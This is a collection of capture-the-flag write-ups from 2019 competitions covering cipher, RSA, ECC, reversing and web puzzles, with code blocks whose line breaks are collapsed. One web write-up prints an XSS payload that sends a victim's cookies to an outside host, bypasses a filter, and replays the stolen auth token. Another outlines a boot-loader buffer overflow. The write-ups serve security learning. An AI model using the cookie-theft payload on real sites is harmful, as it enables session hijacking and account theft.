After a quick Google, I found the following website on [palindromic primes](http://mathworld.wolfram.com/PalindromicPrime.html), where I noticed a familiar sequence, labelled [A002385](http://oeis.org/A002385). On this second page I found a handy snippet for generating a list of primes in Python:
```pythonfrom itertools import chain
from sympy import isprime
A002385 = sorted((n for n in chain((int(str(x)+str(x)[::-1]) for x in range(1, 10**5)), (int(str(x)+str(x)[-2::-1]) for x in range(1, 10**5))) if isprime(n))) # Chai Wah Wu, Aug 16 2014```
I used this snippet to rewrite my code and because the primes were stored in a list, it was very easy to add an offset.
```python# decoder.pyA002385 = sorted((n for n in chain((int(str(x)+str(x)[::-1]) for x in range(1, 10**5)), (int(str(x)+str(x)[-2::-1]) for x in range(1, 10**5))) if isprime(n))) # Chai Wah Wu, Aug 16 2014
offset = 765 - 1initial_num = A002385[offset]
i = 0for val in in_val3: chr_val = in_val3[i]^A002385[offset] print("in:", in_val3[i], "\tkey:", A002385[offset], "\tchr:", chr_val, "\tout:", chr(chr_val))
i += 1 offset += 1```
I ran this over my three lists, manually changing the input list (`in_val`, `in_val2`, and `in_val3`). This resulted in URL: [http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/](http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/).
See link for full writeup. |
# Bomb
## Description
Keith found a weird message on his desk along with a drawing:```JGYJZ NOXZX QZRUQ KNTDN UJWIA ISVIN PFKIR VWKWC UXEBH RFHDI NMOGQ BPRHW CXGAC ARBUN IHOWH QDDGL BBZYH HEJMV RBLJH CLHYP FSAAA KNRPX IKSNX QASGI XBMNP FLAFA KFEGV YWYUN JGBHH QDLZP UJWMO CCEUL YFIHR GTCOZ GEQML VFUAV URXUU BBGCI YZJQQ ROQFU SJDVR JILAJ XYCBC IGATK LQMAP UDPCG ONWFV MHBEC CLBLP JHZJN HMDNY YATIL FQSND AOCAM MGVRZ FEVKL CEDMG AIWXG QPCBI VTVZU HQGFD ZJICI EIWLP IFKAB LNVZI XRZTR SLGCA SZPFF HGBUK JAXNN JHUSV UFPIM ZZLAW SYOHB TOLRF KWANX FNEFD XXLNR LLGYS VTGXP NJQMC WAKRP JKWDP WVTNP WRYEJ RSODI QDYOQ DJDBI SLAVB UPDDR ATHYG ANJQR XPGFM FAMJR ZSJHC SYWQQ VBIHX XCQFW XZBUH ZRXWV TPESM EGVVY PBJSS
Reflector: BRotors: 3,2,4Crib: the secret to life is```Keith is very confused. Help Keith find out what the message means.
nc crypto.hsctf.com 8100
[bomb.png](bomb.png)
## Solution
I ran into this [website](https://github.com/gchq/CyberChef/wiki/Enigma,-the-Bombe,-and-Typex) that told me how to decrypt the enigma cipher using bombe.
__First__, using the crib, we can find an approximate initial state and plugboard config.

```Rotor stops : ECG
Partial plugboard: EK BC DQ II JJ LP MN OO RT SU XZ YY
Decrypted preview: TSESECRETTOLIVEISPTOMERSIL```
__Next__, put the setting in the bombe page, the ecrypted message look like this:

We also need to turn the rightmost rotor to the right offset, until the message looks like the preview one.
Turning to ```(G, M)``` looks promising.
Now the plugboard is missing some characters. They are ```A, F, G, H, V```.
Trying different combination, the ```AG, FV ``` give me the most meaningful result.

__Last__, adjust the middle rotor until the most important part of the last part of the decypted message gives me the password.

The message reads
```THESE CRETT OLIFE ISPTO MERTY CTFST ANDSF ORCAP TURET HEFLA GCTFS AREAT YPEOF COMPU TERSE CURIT YCOMP ETITI ONBUT HSCTF EXTEN DSBEY ONDCO MPUTE RSECU RITYT OINCL UDEOT HERAR EASOF COMPU TERSC IENCE CERTA INPIE CESOF INFOR MATIO NCALL EDFLA GSARE PLACE DONSE RVERS ENCRY PTEDH IDDEN OROTH ERWIS ESTOR EDSOM EWHER EDIFF ICULT TOACC ESSDU RINGT HECOM PETIT IONDI FFERE NTCHA LLENG ESARE RELEA SEDWH ICHAL LOWTH EPART ICIPA NTSTO REVER SEENG INEER BREAK HACKD ECRYP TANOK WHYHI WPFPL RGEUB GFQVK LDBXQ XTCPT UGNXU NZDIJ JYVFH TVJGP HISFL AGTOA SCORI NGPAG ETHEY WILLG ETPOI NTSTH EPASS WORDI SINSE CUREK EITHW ASANE NIGMA```

The flag is```hsctf{d1d_y0ur_b0mbe_s4cc33d???-961451631955}``` |
> Cellular Automata>> 148>> It's hard to reverse a step in a cellular automata, but solvable if done right.> > https://cellularautomata.web.ctfcompetition.com/
As the [rules](https://cellularautomata.web.ctfcompetition.com/) state we are dealing with a [Rule 126 automata](http://mathworld.wolfram.com/Rule126.html). Patterns ```000``` and ```111``` produce a ```0``` bit while all others produce ```1```.
The problem with reversing cellular automata is that a lot of different steps correspond to the step you are trying to reverse. Straight bruteforcing will take forever - 64-bit steps are just too bit. However, the bits in the reverse step are not random, and are limited by 2 rules:
1. ```0``` has to reverse to patterns ```000``` or ```111```, and ```1``` to all others2. If a pattern is selected the patterns that follow it are limited to 2 possibilities (because they have to overlap by 2 bits). For example, pattern ```000``` can only be followed by patterns ```000``` and ```001```.
If we apply these 2 rules we can generate all possibilities very quickly with the help of the following script:
```pythonimport sys
if len(sys.argv) != 2: print "Please supply a hex number on the command line" quit() hexval = sys.argv[1]bit_size = len(hexval)*4
# convert hex value to bit stringbitstr = (bin(int(hexval,16))[2:]).zfill(bit_size)
# map from bits to patterns that generate itpatterns_generating_bit = {"0":[0,7], "1":[1,2,3,4,5,6]}
# valid patterns that can follow each pattern; for example, pattern 010 can be followed # only by 100 and 101 because they must overlap with its last 2 digits (10)valid_next_patterns = {0:[0,1], 1:[2,3], 2:[4,5], 3:[6,7], 4:[0,1], 5:[2,3], 6:[4,5], 7:[6,7]}
# mid bits in each patternpattern_mid_bits = {0:"0", 1:"0", 2:"1", 3:"1", 4:"0", 5:"0", 6:"1", 7:"1"}
def reverse_rule126(bitstr, depth, valid_patterns, patterns_in_step): # walk through all patterns that generate the current bit for pattern in patterns_generating_bit[bitstr[depth]]: # make sure the pattern is valid based on previously seen patterns if pattern in valid_patterns: # if we are not at the last bit - keep going recursively if depth < (bit_size-1): reverse_rule126(bitstr, depth+1, valid_next_patterns[pattern], patterns_in_step+[pattern])
# if we are at the last bit... if depth == (bit_size-1): # ...and the last pattern wraps around properly to the beginning of the step string if patterns_in_step[0] in valid_next_patterns[pattern]: # generate the full bitstring for the step and print it out found_step = "" for x in patterns_in_step: found_step += pattern_mid_bits[x] found_step += pattern_mid_bits[pattern] print hex(int(found_step,2))[2:]
reverse_rule126(bitstr, 0, [0,1,2,3,4,5,6,7], [])```
The script generates about 10K possibilities, which we can try to determine if there is a flag in the output:
```bash#!/bin/sh
for i in $(python solve.py 66de3c1bf87fdfcf); do echo "$i" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key echo "U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key 2>/dev/null | grep CTFdone
```
When we run the script we quickly get the flag decoded:
```sh$ ./solve.shCTF{reversing_cellular_automatas_can_be_done_bit_by_bit}```
The flag is ```CTF{reversing_cellular_automatas_can_be_done_bit_by_bit}```.
|
* Press F12 on boot to get to the password prompt* Overflow the password buffer and overwrite the hash destination pointer* Create a hash that contains a jmp instruction, overwrite the password check function to always pass* Disable secure boot via the device manager
https://devcraft.io/2019/06/25/secure-boot-google-ctf-2019-quals.html |
> Dial Tone>> 189>> You might need a pitch-perfect voice to solve this one. Once you crack the code, the flag is CTF{code}.> > [Download Attachment](https://storage.googleapis.com/gctf-2019-attachments/5200e49479e71df95cbb2a373904b7d8fe181eee8fc5b63435dee1d0629b2c48)
Challenge comes with an application that we must reverse. Running it gives an error:
```sh$ ./a.out FAILED```
Let's reverse it in Ghidra. The code in the main function is very simple:
* Open connection to PulseAudio stream * Read data from it and process the data with functions ```x``` and ```r```* If the return value of ```r``` is greater than ```0``` - keep reading and processing the data, if it is ```0``` - finish successfully, and otherwise - fail
```c... local_10 = pa_simple_new(0,*puParm2,2,0,"record",ss.3811,0,0,local_18); if (local_10 == 0) { uVar2 = pa_strerror((ulong)local_18[0]); fprintf(stderr,"pa_simple_new() failed: %s\n",uVar2); uVar2 = 1; } else { local_24 = 0; local_20 = 0; local_1c = 0; do { puVar3 = local_18; iVar1 = pa_simple_read(local_10,auStack163880,0x8000); if (iVar1 < 0) { uVar2 = pa_strerror((ulong)local_18[0]); fprintf(stderr,"pa_simple_read() failed: %s\n",uVar2); return 1; } x(auStack163880,auStack131112,auStack131112); r(&local_24,auStack131112,(int)auStack131112,(char *)puVar3,(int)pcVar4,(int)puVar5); if (extraout_EAX < 0) { fwrite("FAILED\n",1,7,stderr); return 1; } } while (extraout_EAX != 0); fwrite("SUCCESS\n",1,8,stderr); pa_simple_free(local_10);...```
Instead of doing full analysis of how the data is processed let's take a look at ```r```. Luckily there are clues there that will help us.
Closer inspection shows that the data is processed using ```f``` function with values like ```0x4b9``` and ```0x538``` passed to it.
As it turns out these values are frequency values for [tone dialing keys](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling#Keypad) - ```0x4b9``` is ```1209 Hz```, ```0x538``` is ```1336 Hz```, and so on:
```c... local_58[0] = (double)f(param_2,0x4b9); local_58[1] = f(param_2,0x538); local_58[2] = f(param_2,0x5c5); local_58[3] = f(param_2,0x661); local_c = 0xffffffff; local_18 = 1.00000000; local_1c = 0; while ((int)local_1c < 4) { if (local_18 < local_58[(long)(int)local_1c]) { local_c = local_1c; local_18 = local_58[(long)(int)local_1c]; } local_1c = local_1c + 1; } local_78[0] = (double)f(param_2,0x2b9); local_78[1] = f(param_2,0x302); local_78[2] = f(param_2,0x354); f(param_2,0x3ad); local_20 = -1; local_28 = 1.00000000; local_2c = 0; while (local_2c < 4) { if (local_28 < local_78[(long)local_2c]) { local_20 = local_2c; local_28 = local_78[(long)local_2c]; } local_2c = local_2c + 1; } if (*(char *)((long)param_1 + 8) == '\0') { if ((-1 < (int)local_c) && (-1 < local_20)) { local_c = local_20 << 2 | local_c; bVar1 = false; switch(*(undefined4 *)((long)param_1 + 4)) { case 0: bVar1 = local_c == 9; break; case 1: bVar1 = local_c == 5; break; case 2: bVar1 = local_c == 10; break; case 3: bVar1 = local_c == 6; break; case 4: bVar1 = local_c == 9; break; case 5: bVar1 = local_c == 8; break; case 6: bVar1 = local_c == 1; break; case 7: bVar1 = local_c == 0xd; break; case 8: if (local_c == 0) { return; } }...```
The frequency value positions are then encoded in 4 bits of a state byte - low tone is the upper 2 bits, and high tone in the lower 2 bits. The state byte is checked in a switch statement, which is easy to decode:
* ```9``` (```0b1001```) - ```852 Hz``` (position ```2``` (```0b10```)) and ```1336 Hz``` (position ```1``` (```0b01```)) - ```Key 8```* ```5``` (```0b0101```) - ```770 Hz``` (position ```1``` (```0b01```)) and ```1336 Hz``` (position ```1``` (```0b01```)) - ```Key 5```* ...and so forth
The full key sequence decodes to ```859687201``` and the flag is ```CTF{859687201}```.
|
# Broken GPS (Misc 299 points)
We are given a [zip](input.zip) file containing the text files with directions.
On unzipping it, we get 12 files containing directions.
Lets consider the road Ella is following is the X-Y plane and the starting point is the origin(0,0).
Since Ella always moves in the opposite direction the GPS shows, if the actual destination is (x,y) the place she would have reached is (-x,-y). So we need to find the distance between these two points.
This [script](crack.py) does that for us and gives the flag.Unzip the given file before running the script. |
# storagespace Writeup
### Facebook 2019 - crypto 919 - 31 solves
> In order to fit in with all the other CTFs out there, I've written a secure flag storage system!It accepts commands in the form of json. For example: help(command="flag") will display help info for the flag command, and the request would look like:`{"command": "help", "params": {"command": "flag"}}``flag(name: Optional[str])``Retrieve flag by name.``{"command": "flag", "params": {"name": "myflag"}}``flag{this_is_not_a_real_flag}`You can access it at nc challenges.fbctf.com 8089P.S. some commands require a signed request. The sign command will take care of that for you, but no way you'll convince me to sign the flag command xD
#### Observations
To get flag,
1. Execute `sign(command="spec")`: Get spec of signing algorithm by command2. Execute `sign(command="list")`: Get flag file name `file_name` by command3. Execute `sign(command="info")`: Get ECC curve parameters(`a`,`b`,`p`,Generator `G`,Public Key `H`)4. Obtain secret key `key`, which satisfies `key * G == H`5. Generate message `flag(name=file_name)`.6. Sign message obtained at step 5 and get sign pair `(r, s)` using `key` and signing algorithm obtained in step 1.7. Update signed message with sign pair `(r, s)` and execute it.8. Get the flag
So, how do I get the secret key `key`?
#### Vulnerability: Order of curve is small
The order of the given curve is small enough to solve EC[DLP](https://en.wikipedia.org/wiki/Discrete_logarithm). Sagemath has `discrete_log()` method to solve ECDLP. The challenge had timeout of 2 minutes, but Sagemath was powerful enough(using [Pohlig-Hellman](https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm) algorithm) to solve it just in time. You also can manually solve ECDLP using this [code](https://github.com/hgarrereyn/Th3g3ntl3man-CTF-Writeups/blob/master/2017/picoCTF_2017/problems/cryptography/ECC2/ECC2.md). I get the flag:
```fb{random_curves_are_not_safe?}```
exploit driver code: [solve.py](solve.py)
ECDLP solver: [ECDLP.sage](ECDLP.sage)
Some logs while interacting: [help.log](help.log), [server.log](server.log) |
# Crypto Caulingo - Google CTF Beginner's Quest## RSA with constraint on primes
This is a nice challenge where we get an RSA public key along with an encrypted message that we need to decrypt. The primes `P, Q` composing the modulus are subject to the following constraint:```|A*P-B*Q| < 10000, with 1 <= A,B <= 1000.```We transform this constraint into a second degree polynomial with unknown `P` as follows:
The discriminant `Δ` must be a perfect square for `P` to be an integer. We can therefore bruteforce `A,B,x` until we get a perfect square `Δ`.
However, this would take forever to run (~1 day on my laptop). So we can be a little more clever and realize that since `x**2 << 4*A*B*N`, if the square root of `Δ` is integer, it must the ceiling of the square root of `4*A*B*N`. In turn, this implies that we only need to check that the difference between `4*A*B*N` and the square of the ceiling of its square root is a perfect square, namely `x**2`. Hopefully, it is clearer in LaTeX:Therefore, we only need to check that the right-hand side is a perfect square. If that is the case, its square root is `x`. Thus, we have just removed `x` from the parameters needed to bruteforce! We thus just need to bruteforce over `A` and `B`, which are both less than 1000. This is definitely manageable!
To recapitulate:- We write `P` as the solution of a quadratic equation with 3 small unkown parameters `A,B,x`. - We need to remove one of these parameters to bruteforce quickly.- Since `P` is integer, the discriminant is a perfect square.- Since `Δ` is a perfect square and `x` is small compared to `N`, the value of `x` is determined entirely by `A,B` and `N`.- With this observation, we just need to bruteforce on `A` and `B`, which is done in less than 1 minute on my laptop.
That was fun! Here is a python script that does exactly that:```pythonfrom Crypto.Util.number import inverse, long_to_bytes,isPrimefrom sympy import integer_nthroot
N = 17450892350509567071590987572582143158927907441748820483575144211411640241849663641180283816984167447652133133054833591585389505754635416604577584488321462013117163124742030681698693455489404696371546386866372290759608301392572928615767980244699473803730080008332364994345680261823712464595329369719516212105135055607592676087287980208987076052877442747436020751549591608244950255761481664468992126299001817410516694015560044888704699389291971764957871922598761298482950811618390145762835363357354812871474680543182075024126064364949000115542650091904557502192704672930197172086048687333172564520657739528469975770627e = 65537
c = 0x50fb0b3f17315f7dfa25378fa0b06c8d955fad0493365669bbaa524688128ee9099ab713a3369a5844bdd99a5db98f333ef55159d3025630c869216889be03120e3a4bd6553d7111c089220086092bcffc5e42f1004f9888f25892a7ca007e8ac6de9463da46f71af4c8a8f806bee92bf79a8121a7a34c3d564ac7f11b224dc090d97fdb427c10867ad177ec35525b513e40bef3b2ba3e6c97cb31d4fe3a6231fdb15643b84a1ce704838d8b99e5b0737e1fd30a9cc51786dcac07dcb9c0161fc754cda5380fdf3147eb4fbe49bc9821a0bcad98d6df9fbdf63cf7d7a5e4f6cbea4b683dfa965d0bd51f792047e393ddd7b7d99931c3ed1d033cebc91968d43f
def get_params(N): for A in range(1,1001): for B in range(1,1001): almost_disc = 4*A*B*N intsqrt_almost_disc = integer_nthroot(almost_disc,2)[0] + 1 maybe_x = integer_nthroot(intsqrt_almost_disc**2-almost_disc,2) if maybe_x[1]: x = maybe_x[0] return A,B,x
A, B, x = get_params(N)
def get_primes(A,B,x,N): ''' The quadratic equation has two roots. We need to check both to be sure to find P. Also, in the function above, we assumed x was positive. This is not necessarly the case, so we need to check with both x and -x. ''' disc = 4*A*B*N + x**2 sqrt_disc = integer_nthroot(disc,2)[0] for sign_d in [-1,1]: # sign of discriminant for sign_x in [-1,1]: # sign of x P = (sign_x*x + sign_d*sqrt_disc)//(2*A) if isPrime(P) and N%P==0: return P, N//P
P, Q = get_primes(A,B,x,N)d = inverse(e, (P-1)*(Q-1))m = pow(c, d, N)print(str(long_to_bytes(m),'utf-8'))```This prints the following:```Hey there!
If you are able to decrypt this message, you must a life form with high intelligence!
Therefore, we would like to invite you to our dancing party!
Here’s your invitation code: CTF{017d72f0b513e89830bccf5a36306ad944085a47}```
Thanks Google! I am always amazed at how creative CTF organizers can get with RSA challenges! |
## Write-up: FriendSpaceBookPlusAllAccessRedPremium.com
Google CTF 2019: [Beginner’s Quest](https://capturetheflag.withgoogle.com/#beginners/)

This is a `reversing` challenge about deciphering this kind of program which can be run with `vm.py`, “a simple stack-based VM”:
```? ? 0️⃣ ✋ ? ?? ? 1️⃣ 7️⃣ 4️⃣ 8️⃣ 8️⃣ ✋ ? ?? ? 1️⃣ 6️⃣ 7️⃣ 5️⃣ 8️⃣ ✋ ? ?? ? 1️⃣ 6️⃣ 5️⃣ 9️⃣ 9️⃣ ✋ ? ?? ? 1️⃣ 6️⃣ 2️⃣ 8️⃣ 5️⃣ ✋ ? ?? ? 1️⃣ 6️⃣ 0️⃣ 9️⃣ 4️⃣ ✋ ? ?? ? 1️⃣ 5️⃣ 5️⃣ 0️⃣ 5️⃣ ✋ ? ?? ? 1️⃣ 5️⃣ 4️⃣ 1️⃣ 7️⃣ ✋ ? ?? ? 1️⃣ 4️⃣ 8️⃣ 3️⃣ 2️⃣ ✋ ? ?? ? 1️⃣ 4️⃣ 4️⃣ 5️⃣ 0️⃣ ✋ ? ?? ? 1️⃣ 3️⃣ 8️⃣ 9️⃣ 3️⃣ ✋ ? ?? ? 1️⃣ 3️⃣ 9️⃣ 2️⃣ 6️⃣ ✋ ? ?? ? 1️⃣ 3️⃣ 4️⃣ 3️⃣ 7️⃣ ✋ ? ?? ? 1️⃣ 2️⃣ 8️⃣ 3️⃣ 3️⃣ ✋ ? ?? ? 1️⃣ 2️⃣ 7️⃣ 4️⃣ 1️⃣ ✋ ? ?? ? 1️⃣ 2️⃣ 5️⃣ 3️⃣ 3️⃣ ✋ ? ?? ? 1️⃣ 1️⃣ 5️⃣ 0️⃣ 4️⃣ ✋ ? ?? ? 1️⃣ 1️⃣ 3️⃣ 4️⃣ 2️⃣ ✋ ? ?? ? 1️⃣ 0️⃣ 5️⃣ 0️⃣ 3️⃣ ✋ ? ?? ? 1️⃣ 0️⃣ 5️⃣ 5️⃣ 0️⃣ ✋ ? ?? ? 1️⃣ 0️⃣ 3️⃣ 1️⃣ 9️⃣ ✋ ? ?? ? 9️⃣ 7️⃣ 5️⃣ ✋ ? ?? ? 1️⃣ 0️⃣ 0️⃣ 7️⃣ ✋ ? ?? ? 8️⃣ 9️⃣ 2️⃣ ✋ ? ?? ? 8️⃣ 9️⃣ 3️⃣ ✋ ? ?? ? 6️⃣ 6️⃣ 0️⃣ ✋ ? ?? ? 7️⃣ 4️⃣ 3️⃣ ✋ ? ?? ? 2️⃣ 6️⃣ 7️⃣ ✋ ? ?? ? 3️⃣ 4️⃣ 4️⃣ ✋ ? ?? ? 2️⃣ 6️⃣ 4️⃣ ✋ ? ?? ? 3️⃣ 3️⃣ 9️⃣ ✋ ? ?? ? 2️⃣ 0️⃣ 8️⃣ ✋ ? ?? ? 2️⃣ 1️⃣ 6️⃣ ✋ ? ?? ? 2️⃣ 4️⃣ 2️⃣ ✋ ? ?? ? 1️⃣ 7️⃣ 2️⃣ ✋ ? ?? ? 7️⃣ 4️⃣ ✋ ? ?? ? 4️⃣ 9️⃣ ✋ ? ?? ? 1️⃣ 1️⃣ 9️⃣ ✋ ? ?? ? 1️⃣ 1️⃣ 3️⃣ ✋ ? ?? ? 1️⃣ 1️⃣ 9️⃣ ✋ ? ?? ? 1️⃣ 0️⃣ 6️⃣ ✋ ? ?? ? 1️⃣ ✋
# ...
??????? ? ? ? 0️⃣ ✋ ? ??????? ? ? 1️⃣ 0️⃣ ✋ ? ?⭐ ? ? ? ? ?? ? ? ? ? ? ? ? ? ? ?? ? ? ? 1️⃣ ✋ ? ? ? ?????? ?? ? ? ? ? 1️⃣ 0️⃣ ✋ ? ? ?? ? ?????? ?? ? ? ? ??????```
Getting the code to run is not the problem, the amount of time it takes for it to output the URL containing the flag is. The program outputs this URL character by character and it takes and longer and longer for the next character to appear. Guessing the rest of the URL (`http://emoji-t0anaxnr3nacpt4na.web.ctf…` obviously results in http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/) is also not possible, because the complete URL contains a very long directory name.
The first thing we can do is to replace most of the emoji characters with actual commands (see `OPERATIONS` in `vm.py`). The excerpt above could become something like this (see [./less-emoji/program](https://github.com/weibell/ctf-google2019-beginners/blob/master/write-up/day5-easy/less-emoji/program)).
```load A 0 . push Aload A 1 7 4 8 8 . push Aload A 1 6 7 5 8 . push Aload A 1 6 5 9 9 . push Aload A 1 6 2 8 5 . push Aload A 1 6 0 9 4 . push Aload A 1 5 5 0 5 . push Aload A 1 5 4 1 7 . push Aload A 1 4 8 3 2 . push Aload A 1 4 4 5 0 . push Aload A 1 3 8 9 3 . push Aload A 1 3 9 2 6 . push Aload A 1 3 4 3 7 . push Aload A 1 2 8 3 3 . push Aload A 1 2 7 4 1 . push Aload A 1 2 5 3 3 . push Aload A 1 1 5 0 4 . push Aload A 1 1 3 4 2 . push Aload A 1 0 5 0 3 . push Aload A 1 0 5 5 0 . push Aload A 1 0 3 1 9 . push Aload A 9 7 5 . push Aload A 1 0 0 7 . push Aload A 8 9 2 . push Aload A 8 9 3 . push Aload A 6 6 0 . push Aload A 7 4 3 . push Aload A 2 6 7 . push Aload A 3 4 4 . push Aload A 2 6 4 . push Aload A 3 3 9 . push Aload A 2 0 8 . push Aload A 2 1 6 . push Aload A 2 4 2 . push Aload A 1 7 2 . push Aload A 7 4 . push Aload A 4 9 . push Aload A 1 1 9 . push Aload A 1 1 3 . push Aload A 1 1 9 . push Aload A 1 0 6 . push Aload B 1 .
# ...
MMARKER11clone clone load B 0 . push BMMARKER12 load A 1 0 . push Amultiply pop B push A modulopush B add pop B pop A clone push B subif_zero pop_out load B 1 . push B jump_to JMARKER7 Xpop_out push A load A 1 0 . push A divideif_zero jump_to JMARKER7 Xclone push B jump_to JMARKER12```
“`.`” indicates the end of a sequence to be loaded in the first accumulator (`A`). `MMARKER11` (beginning with an `M`) is a label which can be jumped to with `JMARKER11`. `X` is placed at the end of an if-condition.
Adding or removing instructions would mess with the `jump_top`, which jump to the absolute address on the top of the stack. Instead, by observing the stack contents in functions such as `print_top`, `xor` and `jump_to`, we can draw conclusions about the behavior of the program.
It turns out that the program loads three blocks of integers onto the stack, XORs each integer with [palindromic primes](https://en.wikipedia.org/wiki/Palindromic_prime) (sequence [A002385](https://oeis.org/A002385) in the OEIS) and then outputs the corresponding ASCII value. The first block (line 1 to 42) begins with the 1st palindromic prime (2) and the number 106 (`chr(106 ^ 2) == "h"`) and then continues with the 2nd and the number 119 (`chr(119 ^ 3) == "t"`), the 3rd and the number 113 (`chr(113 ^ 5) == "t"`) and so on until the stack is empty and the next stack (lines 51 to 65) is processed. Here, a jump occurs to the 99th and later to the 765th palindromic prime numbers, but the procedure remains the same.
## Algorithm
We can reduce the program to this ([algorithm.py](https://github.com/weibell/ctf-google2019-beginners/blob/master/write-up/day5-easy/algorithm.py)):
```pythonfrom itertools import chainfrom sympy import isprime
# https://oeis.org/A002385A002385 = sorted((n for n in chain((int(str(x) + str(x)[::-1]) for x in range(1, 11000)), (int(str(x) + str(x)[-2::-1]) for x in range(1, 11000))) if isprime(n)))
url = ''
# part 1i = 1stack = [17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 119, 106]while len(stack) > 0: url += chr(stack.pop() ^ A002385[i - 1]) i += 1
# part 2i = 99stack = [98426, 97850, 97604, 97280, 96815, 96443, 96354, 95934, 94865, 94952, 94669, 94440, 93969, 93766]while len(stack) > 0: url += chr(stack.pop() ^ A002385[i - 1]) i += 1
# part 3i = 765stack = [101141058, 101060206, 101030055, 100998966, 100887990, 100767085, 100707036, 100656111, 100404094, 100160922, 100131019, 100111100, 100059926, 100049982, 100030045, 9989997, 9981858, 9980815, 9978842, 9965794, 9957564, 9938304, 9935427, 9932289, 9931494, 9927388, 9926376, 9923213, 9921394, 9919154, 9918082, 9916239, ]while len(stack) > 0: url += chr(stack.pop() ^ A002385[i - 1]) i += 1
print(url)# http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/```
## Patching `vm.py`
Another option is to patch `vm.py` and to intercept calls made to the most computationally intensive part of the program (see [./patched/vm.py](https://github.com/weibell/ctf-google2019-beginners/blob/master/write-up/day5-easy/patched/vm.py) and [./less-emoji/patched.py](https://github.com/weibell/ctf-google2019-beginners/blob/master/write-up/day5-easy/less-emoji/patched.py)):
```pythonimport sys
from itertools import chainfrom sympy import isprime
# ...
def __init__(self, rom): # ... self.A002385 = sorted((n for n in chain((int(str(x) + str(x)[::-1]) for x in range(1, 11000)), (int(str(x) + str(x)[-2::-1]) for x in range(1, 11000))) if isprime(n))) # ... def jump_to(self): # ... marker = '?' + marker[1:] if marker == '??????': prime_index = self.stack.pop() return_address = self.stack.pop() self.stack.append(self.A002385[prime_index - 1]) self.instruction_pointer = return_address else: self.instruction_pointer = self.rom.index(marker) + 1```
## Flag
Both programs output the complete URL in a matter of seconds:<http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/>
The flag flag is just one click away:<http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/amber.html>

**Flag**: `CTF{Peace_from_Cauli!}`
|
## Write-up: **Cookie World Order**
Google CTF 2019: [Beginner’s Quest](https://capturetheflag.withgoogle.com/#beginners/)

This is a `web` challenge that involves an XSS attack: <https://cwo-xss.web.ctfcompetition.com>
We are presented a chat widget and we can chat as user “brewtoot” with user “Admin”. There appears to be a word filter in place, since `<script>` outputs the message “HACKER ALERT!”.

`<SCRIPT>` on the other hand works. Our goal is to have the other person disclose their browser cookie. This line is sufficient:
```html<SCRIPT>new Image().src="https://PUBLIC_URL/"+document.cookie</SCRIPT>````
Note that there will be two incoming requests, one from ourselves and one from the victim. [PostBin](https://postb.in) is a great tool for this, but netcat also works if timed correctly:
```$ nc -lvp 1234Listening on [0.0.0.0] (family 0, port 1234)Connection from localhost 46010 received!GET /?flag=CTF{3mbr4c3_the_c00k1e_w0r1d_ord3r};%20auth=TUtb9PPA9cYkfcVQWYzxy4XbtyL3VNKz HTTP/1.1## ...Referer: https://cwo-xss.web.ctfcompetition.com/exploit?reflect=%3CSCRIPT%3Enew%20Image().src=%22http://PUBLIC_URL/%22+document.cookie%3C/SCRIPT%3E## ...```
**Flag 1**: `CTF{3mbr4c3_the_c00k1e_w0r1d_ord3r}`
## Flag 2
In addition to the flag, the cookie also contains an `auth` token which we can use to find the second flag.
First, we observe that there is a hidden page at https://cwo-xss.web.ctfcompetition.com/admin, which redirects to the start page. The [Government Agriculture Network](https://github.com/weibell/ctf-google2019-beginners/tree/master/write-up#day3-easier) challenge is very similar in this regard.
```GET /admin HTTP/1.1Host: cwo-xss.web.ctfcompetition.com
```
```HTTP/1.1 302 FOUNDDate: Sun, 23 Jun 2019 11:50:37 GMTContent-Type: text/html; charset=utf-8Content-Length: 209Server: gunicorn/19.9.0Location: http://cwo-xss.web.ctfcompetition.com/Via: 1.1 google
<title>Redirecting...</title><h1>Redirecting...</h1>You should be redirected automatically to target URL: /. If not click the link.```
And this is when we make the same request with the `auth` token set:
```GET /admin HTTP/1.1Host: cwo-xss.web.ctfcompetition.comCookie: auth=TUtb9PPA9cYkfcVQWYzxy4XbtyL3VNKz
```
```HTTP/1.1 200 OKDate: Sun, 23 Jun 2019 11:51:00 GMTContent-Type: text/html; charset=utf-8Content-Length: 1115Vary: Accept-EncodingServer: gunicorn/19.9.0Via: 1.1 google
<html lang="en"> <head> <meta charset="UTF-8"> <title>CWO Network</title> <link rel="stylesheet" href="/static/css/main.css"> <link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script> <script src="/static/js/main.js"></script> <script src="/static/js/admin.js"></script> </head> <body> <div class="top-bar"> <div class="top-bar-container"> <div class="top-bar-logo"> CWO </div> </div> </div> <div class="admin-side-nav"> <div class="admin-side-item"> Users </div> <div class="admin-side-item"> Livestreams </div> <div class="admin-side-item"> Camera Controls </div> </div> <div class="admin-container"> <div class="admin-message"> </div> </div> </body></html>```
Unfortunately, we cannot access <https://cwo-xss.web.ctfcompetition.com/admin/controls> just yet:
```GET /admin/controls HTTP/1.1Host: cwo-xss.web.ctfcompetition.com
```
```HTTP/1.1 403 FORBIDDENDate: Sun, 23 Jun 2019 11:55:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 37Vary: Accept-EncodingServer: gunicorn/19.9.0Via: 1.1 google
Requests only accepted from 127.0.0.1```
